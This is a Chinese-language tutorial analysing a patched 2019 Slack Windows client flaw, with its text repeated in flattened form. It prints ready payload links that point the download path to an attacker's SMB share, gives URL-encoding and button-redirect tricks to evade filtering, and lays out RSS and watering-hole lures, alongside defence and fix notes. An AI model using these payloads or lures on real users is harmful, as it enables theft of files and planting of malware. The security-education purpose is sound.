挖洞经验 | 利用Slack应用程序窃取Slack用户的下载文件
字数 1606 2025-08-18 11:38:41

Slack应用程序下载文件窃取漏洞分析及利用教学

漏洞概述

本教学文档详细分析2019年发现的Slack Windows客户端应用程序中的一个安全漏洞(CVE未公开),该漏洞允许攻击者通过精心构造的链接更改受害者的文件下载路径,从而窃取下载文件或植入恶意软件。

漏洞基本信息

  • 影响版本: Slack Windows客户端v3.4.0之前版本
  • 漏洞类型: 不安全链接处理导致的任意设置修改
  • 危害等级: 高危
  • 修复版本: Slack v3.4.0

漏洞原理分析

核心机制

Slack应用程序存在对slack://协议链接的不当处理,特别是slack://settings链接可修改应用程序设置而不进行充分验证。

关键代码模块

  1. protocol-link.ts: 处理slack://协议链接的核心模块
  2. Settings-Reducer.ts: 负责应用程序设置变更的模块

具体漏洞点

通过构造slack://settings/?update={'PrefSSBFileDownloadPath':'<pathHere>'}格式的链接,可以修改Slack的文件下载路径设置,且:

  • 可接受SMB共享路径作为合法路径
  • 缺乏对远程路径的充分验证
  • 修改操作无需用户二次确认

漏洞利用方法

基本利用步骤

  1. 构造恶意链接:

    slack://settings/?update={'PrefSSBFileDownloadPath':'\\攻击者IP\共享目录'}
    
  2. 欺骗用户点击:

    • 通过Slack群组消息
    • 通过RSS订阅推送
    • 通过第三方网站跳转
  3. 收集窃取文件:

    • 受害者所有通过Slack下载的文件将自动上传至攻击者控制的SMB服务器

高级利用技巧

绕过Slack链接过滤

  • 方法一: 使用URL编码

    slack://settings/?update=%7B%27PrefSSBFileDownloadPath%27%3A%27%5C%5C35.193.130.2%5Cshare%27%7D
    
  • 方法二: 通过附件伪装

    {
      "attachments": [
        {
          "fallback": "Important update",
          "text": "Click here for important information",
          "actions": [
            {
              "type": "button",
              "text": "View Details",
              "url": "http://legitimate.com",
              "style": "primary",
              "redirect_url": "slack://settings/?update={'PrefSSBFileDownloadPath':'\\\\攻击者IP\\share'}"
            }
          ]
        }
      ]
    }
    

扩大攻击范围

  1. 通过RSS订阅攻击:

    • 在热门Reddit版块发布包含跳转链接的帖子
    • 订阅该版块的Slack用户会收到更新通知
    • 构造从合法链接到恶意链接的跳转链
  2. 水坑攻击:

    • 在Slack用户常访问的网站植入恶意链接
    • 利用iframe或JavaScript自动触发链接

攻击场景模拟

场景一:内部攻击(同一Slack群组)

  1. 攻击者加入目标公司Slack群组
  2. 发送看似正常的消息,内含伪装链接
  3. 受害者点击后,下载路径被修改为\\攻击者IP\share
  4. 攻击者等待受害者下载文件并自动收集
  5. 可选:替换文件为含恶意软件版本

场景二:外部攻击(通过RSS)

  1. 攻击者在热门Reddit版块发帖
  2. 帖子包含跳转到恶意Slack链接的URL
  3. 订阅该版块的Slack用户收到更新
  4. 用户点击后浏览器提示"打开Slack应用?"
  5. 用户点击"是"后设置被修改

防御与检测

用户防护措施

  1. 立即升级到Slack v3.4.0或更高版本
  2. 警惕不明链接,特别是slack://协议链接
  3. 定期检查Slack下载路径设置
  4. 禁用不必要的SMB协议支持

企业防护方案

  1. 网络层拦截异常SMB外连
  2. 监控Slack设置变更日志
  3. 实施应用程序白名单策略
  4. 对Slack流量进行深度检测

技术细节补充

有效负载分析

slack://settings/?update={'PrefSSBFileDownloadPath':'\\35.193.130.2\apt'}
  • slack://: 触发Slack协议处理程序
  • settings: 指定设置修改功能
  • update: 参数名,表示要更新的设置
  • PrefSSBFileDownloadPath: 下载路径设置项
  • \\35.193.130.2\apt: 攻击者控制的SMB共享

SMB服务器配置要点

  1. 匿名共享设置
  2. 适当的写入权限
  3. 日志记录配置
  4. 文件自动收集脚本

漏洞修复分析

Slack在v3.4.0版本中修复此漏洞的主要措施:

  1. 增加对PrefSSBFileDownloadPath设置变更的验证
  2. 禁止使用远程路径作为下载目录
  3. 对设置变更操作增加用户确认提示
  4. 改进链接处理的安全检查

法律与道德声明

本教学文档仅用于安全研究和技术教育目的。未经授权对他人系统进行测试或攻击是违法行为。研究人员发现漏洞后应遵循负责任的披露原则,通过合法渠道向厂商报告。

Slack应用程序下载文件窃取漏洞分析及利用教学 漏洞概述 本教学文档详细分析2019年发现的Slack Windows客户端应用程序中的一个安全漏洞(CVE未公开),该漏洞允许攻击者通过精心构造的链接更改受害者的文件下载路径,从而窃取下载文件或植入恶意软件。 漏洞基本信息 影响版本 : Slack Windows客户端v3.4.0之前版本 漏洞类型 : 不安全链接处理导致的任意设置修改 危害等级 : 高危 修复版本 : Slack v3.4.0 漏洞原理分析 核心机制 Slack应用程序存在对 slack:// 协议链接的不当处理,特别是 slack://settings 链接可修改应用程序设置而不进行充分验证。 关键代码模块 protocol-link.ts : 处理 slack:// 协议链接的核心模块 Settings-Reducer.ts : 负责应用程序设置变更的模块 具体漏洞点 通过构造 slack://settings/?update={'PrefSSBFileDownloadPath':'<pathHere>'} 格式的链接,可以修改Slack的文件下载路径设置,且: 可接受SMB共享路径作为合法路径 缺乏对远程路径的充分验证 修改操作无需用户二次确认 漏洞利用方法 基本利用步骤 构造恶意链接 : 欺骗用户点击 : 通过Slack群组消息 通过RSS订阅推送 通过第三方网站跳转 收集窃取文件 : 受害者所有通过Slack下载的文件将自动上传至攻击者控制的SMB服务器 高级利用技巧 绕过Slack链接过滤 方法一 : 使用URL编码 方法二 : 通过附件伪装 扩大攻击范围 通过RSS订阅攻击 : 在热门Reddit版块发布包含跳转链接的帖子 订阅该版块的Slack用户会收到更新通知 构造从合法链接到恶意链接的跳转链 水坑攻击 : 在Slack用户常访问的网站植入恶意链接 利用iframe或JavaScript自动触发链接 攻击场景模拟 场景一:内部攻击(同一Slack群组) 攻击者加入目标公司Slack群组 发送看似正常的消息,内含伪装链接 受害者点击后,下载路径被修改为 \\攻击者IP\share 攻击者等待受害者下载文件并自动收集 可选:替换文件为含恶意软件版本 场景二:外部攻击(通过RSS) 攻击者在热门Reddit版块发帖 帖子包含跳转到恶意Slack链接的URL 订阅该版块的Slack用户收到更新 用户点击后浏览器提示"打开Slack应用?" 用户点击"是"后设置被修改 防御与检测 用户防护措施 立即升级到Slack v3.4.0或更高版本 警惕不明链接,特别是 slack:// 协议链接 定期检查Slack下载路径设置 禁用不必要的SMB协议支持 企业防护方案 网络层拦截异常SMB外连 监控Slack设置变更日志 实施应用程序白名单策略 对Slack流量进行深度检测 技术细节补充 有效负载分析 slack:// : 触发Slack协议处理程序 settings : 指定设置修改功能 update : 参数名,表示要更新的设置 PrefSSBFileDownloadPath : 下载路径设置项 \\35.193.130.2\apt : 攻击者控制的SMB共享 SMB服务器配置要点 匿名共享设置 适当的写入权限 日志记录配置 文件自动收集脚本 漏洞修复分析 Slack在v3.4.0版本中修复此漏洞的主要措施: 增加对 PrefSSBFileDownloadPath 设置变更的验证 禁止使用远程路径作为下载目录 对设置变更操作增加用户确认提示 改进链接处理的安全检查 法律与道德声明 本教学文档仅用于安全研究和技术教育目的。未经授权对他人系统进行测试或攻击是违法行为。研究人员发现漏洞后应遵循负责任的披露原则,通过合法渠道向厂商报告。